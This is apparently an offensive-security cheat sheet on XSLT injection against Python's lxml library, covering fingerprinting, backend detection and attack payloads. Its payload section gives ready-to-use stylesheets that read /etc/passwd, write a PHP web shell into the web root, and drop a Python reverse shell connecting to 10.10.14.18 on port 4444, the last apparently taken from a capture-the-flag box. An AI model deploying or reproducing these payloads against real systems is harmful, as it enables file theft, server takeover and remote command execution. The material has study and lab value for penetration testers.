XSLT Injection
XSLT (Extensible Stylesheet Language Transformations) is designed to transform XML documents into other formats (HTML, text, XML)
Python lxml
Support extension functions that allow the stylesheet to interact with the underlying operating system (Reading files, writing files, executing commands).
lxmlallows calling Python functions directly if extensions are enabled (which is default)XSLTInjection occurs when an application processes untrustedXMLdata using anXSLTprocessor (likelxml) that lacks strict access controls, allowing the injection of malicious stylesheets to read files or execute code.
Fingerprinting
Look for data formats involving
XML.File Uploads: Functionality that asks for.xmland.xsl/.xsltfiles.Parameters: Parameters containingXMLdata (e.g.,data=<xml>...,xml=<...>).Headers:Content-Type: application/xmlortext/xml.
Backend Detection
Error messages often leak the library. Look for traces of
lxml,libxml2, orlibxsltin stack traces orHTTPresponses.Developers should instantiate
lxmlwith anXSLTAccessControlobject to restrict file read/write access and network usage.If the code simply parses the
XML/XSLTwithout explicitly defining an Access Control policy,lxmldefaults to permitting most extension functions.
If you confirm lxml is in use and you can inject/modify the XSLT, assume file I/O is possible unless proven otherwise.
Payloads
You typically control two parts: the XML (data) and the XSLT (logic).
XMLData can be generic, just needs to match the root node expected by theXSLT.XSLTLogic is where the attack happens.
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<!-- Standard document() try -->
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:template match="/">
<!-- Writes content to a file on the disk -->
<exsl:document href="/var/www/html/shell.php" method="text">
<?= system($_GET['cmd']); ?>
</exsl:document>
Done
</xsl:template>
</xsl:stylesheet><?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/tokyo.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.18",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/sh") </exploit:document>
</exploit:document>
</xsl:template>
</xsl:stylesheet>Last updated